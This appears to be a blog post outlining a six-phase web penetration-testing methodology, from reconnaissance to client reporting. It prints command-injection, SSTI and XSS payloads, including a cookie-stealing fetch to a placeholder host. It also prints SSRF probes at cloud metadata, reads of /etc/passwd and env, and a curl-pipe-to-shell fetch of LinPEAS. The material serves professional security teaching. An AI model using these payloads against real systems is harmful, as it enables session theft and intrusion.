Web Pentesting Methodology: From 0 to a professional report

589 words

3 minutes

Web Pentesting Methodology: From 0 to a professional report

2025-03-10

Pentesting / Red Team

Pentesting

/

Web

/

Methodology

/

Red Team

/

OWASP

Phases of a Web Pentest#

A professional pentest follows a clear structure. It’s not simply “launching tools” — it’s a methodical process.

1
1. Reconnaissance
2
2. Scanning and Enumeration
3
3. Vulnerability Identification
4
4. Exploitation
5
5. Post-Exploitation
6
6. Reporting

Phase 1: Reconnaissance#

Passive reconnaissance (without touching the target)#

1
# WHOIS
2
whois target.com
3

4
# DNS records
5
dig target.com ANY
6
dig target.com MX
7
dig target.com TXT
8

9
# SSL certificates (reveal subdomains)
10
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
11
  jq -r '.[].name_value' | sort -u
12

13
# Google Dorks
14
site:target.com filetype:pdf
15
site:target.com inurl:admin
16
site:target.com "password" OR "passwd"
17

18
# Wayback Machine
19
waybackurls target.com | tee wayback.txt

Active reconnaissance#

1
# Subdomain discovery
2
subfinder -d target.com -o subs_subfinder.txt
3
amass enum -d target.com -o subs_amass.txt
4
cat subs_*.txt | sort -u > all_subs.txt
5

6
# Check which ones are alive
7
httpx -l all_subs.txt -title -status-code -o alive.txt

Phase 2: Enumeration#

1
# Technologies
2
whatweb https://target.com
3
wappalyzer (browser extension)
4

5
# Directories and files
6
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt \
7
     -u https://target.com/FUZZ \
8
     -fc 404 \
9
     -o dirs.json -of json
10

11
# GET parameters
12
arjun -u https://target.com/search
13

14
# Extract URLs from JS
15
gau --mc 200 target.com | tee all_urls.txt
16
cat all_urls.txt | grep "\.js$" | sort -u > js_files.txt

Phase 3: Common vulnerabilities#

Injections#

1
# SQL Injection
2
sqlmap -u "https://target.com/user?id=1" --dbs --batch --random-agent
3

4
# Command Injection (test manually)
5
; id
6
| whoami
7
`id`
8
$(id)
9

10
# Template Injection (SSTI)
11
{{7*7}}       # Jinja2, Twig
12
${7*7}        # Freemarker
13
<%= 7*7 %>    # ERB

XSS#

1
# Basic payloads
2
<script>alert(1)</script>
3
<img src=x onerror=alert(1)>
4
"><script>alert(document.cookie)</script>
5
javascript:alert(1)
6

7
# Advanced XSS - cookie theft
8
<script>
9
  fetch('https://your-server.com/steal?c='+document.cookie)
10
</script>

IDOR (Insecure Direct Object Reference)#

1
# Change user IDs in requests
2
GET /api/user/profile/123  →  change to /api/user/profile/124
3
POST /delete-account {"user_id": 123}  →  change to 124
4

5
# Tool: Autorize (Burp Suite plugin)

SSRF#

1
# Test payloads
2
http://127.0.0.1/admin
3
http://169.254.169.254/latest/meta-data/  # AWS metadata
4
http://localhost:8080
5
http://[::1]/admin  # IPv6 bypass
6

7
# Detect with Burp Collaborator or interactsh
8
python3 -m interactsh-client

Phase 4: Exploitation#

Document everything while you exploit. Screenshots, videos, exact commands.

1
# Capture traffic with Burp
2
# 1. Configure the proxy in Burp (127.0.0.1:8080)
3
# 2. Enable intercept
4
# 3. Perform the vulnerable action
5
# 4. Save the request
6

7
# Save important requests
8
burp → request → save item → exploits/vuln_name.req

Phase 5: Post-Exploitation#

If you achieved RCE or access to the server:

1
# System information
2
id && whoami
3
uname -a
4
cat /etc/passwd
5
env
6

7
# Internal network
8
ip addr
9
netstat -tulpn
10
cat /etc/hosts
11

12
# Privilege escalation — LinPEAS
13
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Phase 6: The Report#

This is the most important phase for real clients. A bad report ruins a good pentest.

Executive report structure#

1
1. Executive Summary
2
   - Objective of the pentest
3
   - Assessment period
4
   - Summarized critical findings
5
   - Priority recommendations
6

7
2. Methodology used
8

9
3. Detailed findings (per vulnerability):
10
   - Description
11
   - Severity (CVSS score)
12
   - Steps to reproduce
13
   - Evidence (screenshots)
14
   - Business impact
15
   - Remediation recommendation
16

17
4. Conclusion

Quick CVSS calculator#

1
Critical: 9.0 – 10.0  (Unauth RCE, SQLi with sensitive data)
2
High:     7.0 – 8.9   (Auth bypass, mass IDOR, internal SSRF)
3
Medium:   4.0 – 6.9   (Stored XSS, CSRF, Info disclosure)
4
Low:      0.1 – 3.9   (Reflected XSS, Missing headers)

Web pentesting checklist#

1
[ ] Complete passive reconnaissance
2
[ ] Subdomains enumerated
3
[ ] Technologies identified
4
[ ] Directories and endpoints mapped
5
[ ] Authentication tested (brute force, bypass)
6
[ ] All inputs tested for SQLi
7
[ ] XSS in inputs and headers
8
[ ] IDOR on all endpoints with IDs
9
[ ] SSRF in URL/redirect fields
10
[ ] Business logic analyzed
11
[ ] APIs documented and tested
12
[ ] Security headers verified
13
[ ] Evidence documented
14
[ ] Report written

Methodology is the difference between a hacker and a professional pentester. Constant practice on HTB, TryHackMe and PortSwigger Academy is the way. 🔴

We’ll continue with specific techniques for each vulnerability in upcoming posts.